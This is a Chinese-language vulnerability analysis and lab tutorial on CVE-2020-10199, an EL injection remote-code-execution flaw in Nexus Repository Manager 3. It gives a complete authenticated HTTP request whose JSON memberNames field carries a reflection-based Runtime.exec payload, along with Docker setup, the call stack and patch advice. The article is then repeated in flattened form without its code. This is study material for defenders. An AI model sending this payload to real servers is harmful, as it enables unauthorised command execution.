Nexus3 EL表达式注入浅析(CVE-2020-10199)
字数 1445 2025-08-20 18:17:53

Nexus3 EL表达式注入漏洞分析(CVE-2020-10199)教学文档

漏洞概述

Nexus Repository Manager 3是一款通用的软件包仓库管理服务。该漏洞存在于/service/rest/beta/repositories/go/group接口,攻击者可以通过发送精心构造的恶意JSON数据,在渲染数据时造成EL表达式注入,进而远程执行任意命令。

影响版本:Nexus Repository Manager OSS/Pro 3.x - 3.21.1
修复版本:Nexus Repository Manager OSS/Pro 3.21.2
风险等级:严重(9.1)
所需权限:低/高权限账号均可利用

EL表达式基础知识

EL表达式简介

EL(Expression Language)全名为表达式语言,主要用于:

  1. 替换JSP页面中的脚本表达式<%= %>
  2. 从各种类型的Web域中检索Java对象、获取数据
  3. 访问JavaBean属性、数组、List集合和Map集合等

EL主要功能

  1. 获取数据${标识符}

    • 从page、request、session、application四个域中查找对象
    • 示例:${name}等同于pageContext.findAttribute("name")
  2. 执行运算

    • 关系运算、逻辑运算和算术运算
    • 示例:${2+2}${user!=null?user.name:""}
  3. 获取web对象

    • 11个隐含对象:pageContextpageScoperequestScope
    • 示例:${param.name}获取请求参数
  4. 调用Java方法

    • 语法:${prefix:method(params)}
    • 需要自定义函数开发

EL表达式RCE原理

EL表达式若可控,可以通过反射机制执行任意命令:

${'rai4over'.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/shell')}

漏洞环境搭建

  1. 拉取包含漏洞的nexus3镜像:
docker pull sonatype/nexus3:3.21.1
  1. 运行docker容器:
docker run -d --rm -p 8081:8081 -p 5050:5050 --name nexus -v /Users/rai4over/Desktop/nexus-data:/nexus-data -e INSTALL4J_ADD_VM_PARAMS="-Xms2g -Xmx2g -XX:MaxDirectMemorySize=3g -Djava.util.prefs.userRoot=/nexus-data -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5050" sonatype/nexus3:3.21.1
  1. 下载Nexus源码并切换到对应分支:
git clone https://github.com/sonatype/nexus-public.git
git checkout -b release-3.21.0-05 origin/release-3.21.0-05
  1. 配置IDEA远程调试,在org.sonatype.nexus.bootstrap.osgi.DelegatingFilter#doFilter设置断点

漏洞复现

  1. 获取低权限账户的Cookie中的NX-ANTI-CSRF-TOKENNXSESSIONID

  2. 发送恶意请求:

POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: test.com:8081
Content-Length: 293
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.289429876219083
Content-Type: application/json
Accept: */*
Origin: http://test.com:8081
Referer: http://test.com:8081/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.289429876219083; NXSESSIONID=7e3ad549-6fcb-4952-9ace-29f71614bc28
Connection: close

{
  "name": "internal",
  "online": true,
  "storage": {
    "blobStoreName": "default",
    "strictContentTypeValidation": true
  },
  "group": {
    "memberNames": [
      "${'rai4over'.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('touch /tmp/shell')}"
    ]
  }
}
  1. 命令执行结果:在/tmp目录下创建shell文件

漏洞分析

请求处理流程

  1. 请求路径/service/rest/beta/repositories/go/groupGolangGroupRepositoriesApiResource类处理

  2. 根据@POST注解调用createRepository方法:

org.sonatype.nexus.repository.golang.rest.GolangGroupRepositoriesApiResource#createRepository
  1. 调用父类方法:
org.sonatype.nexus.repository.rest.api.AbstractGroupRepositoriesApiResource#createRepository
  1. 关键验证方法:
org.sonatype.nexus.repository.rest.api.AbstractGroupRepositoriesApiResource#validateGroupMembers

漏洞触发过程

  1. 从请求中提取memberNames数组,包含恶意EL表达式

  2. repositoryManager.get(repositoryName)返回NULL时,进入else分支:

constraintViolationFactory.createViolation
  1. 创建HelperBean对象,将恶意EL表达式作为参数:
org.sonatype.nexus.validation.ConstraintViolationFactory.HelperBean#HelperBean
  1. 调用validate方法进行校验,最终触发EL表达式解析:
org.hibernate.validator.internal.engine.messageinterpolation.ElTermResolver#interpolate

关键调用栈

interpolate:67, ElTermResolver
interpolate:64, InterpolationTerm
interpolate:112, ResourceBundleMessageInterpolator
interpolateExpression:451, AbstractMessageInterpolator
interpolateMessage:347, AbstractMessageInterpolator
interpolate:286, AbstractMessageInterpolator
interpolate:313, AbstractValidationContext
addConstraintFailure:230, AbstractValidationContext
validateConstraints:79, ConstraintTree
doValidateConstraint:130, MetaConstraint
validateConstraint:123, MetaConstraint
validateMetaConstraint:555, ValidatorImpl
validateConstraintsForSingleDefaultGroupElement:518, ValidatorImpl
validateConstraintsForDefaultGroup:488, ValidatorImpl
validateConstraintsForCurrentGroup:450, ValidatorImpl
validateInContext:400, ValidatorImpl
validate:172, ValidatorImpl
createViolation:64, ConstraintViolationFactory
validateGroupMembers:96, AbstractGroupRepositoriesApiResource
createRepository:66, AbstractGroupRepositoriesApiResource
createRepository:83, GolangGroupRepositoriesApiResource

修复建议

  1. 升级到Nexus Repository Manager OSS/Pro 3.21.2或更高版本

  2. 对用户输入进行严格的过滤和验证,特别是EL表达式相关字符

  3. 限制低权限用户的访问权限

参考链接

Nexus3 EL表达式注入漏洞分析(CVE-2020-10199)教学文档 漏洞概述 Nexus Repository Manager 3是一款通用的软件包仓库管理服务。该漏洞存在于/service/rest/beta/repositories/go/group接口,攻击者可以通过发送精心构造的恶意JSON数据,在渲染数据时造成EL表达式注入,进而远程执行任意命令。 影响版本 :Nexus Repository Manager OSS/Pro 3.x - 3.21.1 修复版本 :Nexus Repository Manager OSS/Pro 3.21.2 风险等级 :严重(9.1) 所需权限 :低/高权限账号均可利用 EL表达式基础知识 EL表达式简介 EL(Expression Language)全名为表达式语言,主要用于: 替换JSP页面中的脚本表达式 <%= %> 从各种类型的Web域中检索Java对象、获取数据 访问JavaBean属性、数组、List集合和Map集合等 EL主要功能 获取数据 : ${标识符} 从page、request、session、application四个域中查找对象 示例: ${name} 等同于 pageContext.findAttribute("name") 执行运算 : 关系运算、逻辑运算和算术运算 示例: ${2+2} 、 ${user!=null?user.name:""} 获取web对象 : 11个隐含对象: pageContext 、 pageScope 、 requestScope 等 示例: ${param.name} 获取请求参数 调用Java方法 : 语法: ${prefix:method(params)} 需要自定义函数开发 EL表达式RCE原理 EL表达式若可控,可以通过反射机制执行任意命令: 漏洞环境搭建 拉取包含漏洞的nexus3镜像: 运行docker容器: 下载Nexus源码并切换到对应分支: 配置IDEA远程调试,在 org.sonatype.nexus.bootstrap.osgi.DelegatingFilter#doFilter 设置断点 漏洞复现 获取低权限账户的Cookie中的 NX-ANTI-CSRF-TOKEN 和 NXSESSIONID 发送恶意请求: 命令执行结果:在/tmp目录下创建shell文件 漏洞分析 请求处理流程 请求路径 /service/rest/beta/repositories/go/group 由 GolangGroupRepositoriesApiResource 类处理 根据 @POST 注解调用 createRepository 方法: 调用父类方法: 关键验证方法: 漏洞触发过程 从请求中提取 memberNames 数组,包含恶意EL表达式 当 repositoryManager.get(repositoryName) 返回NULL时,进入else分支: 创建 HelperBean 对象,将恶意EL表达式作为参数: 调用 validate 方法进行校验,最终触发EL表达式解析: 关键调用栈 修复建议 升级到Nexus Repository Manager OSS/Pro 3.21.2或更高版本 对用户输入进行严格的过滤和验证,特别是EL表达式相关字符 限制低权限用户的访问权限 参考链接 Sonatype官方公告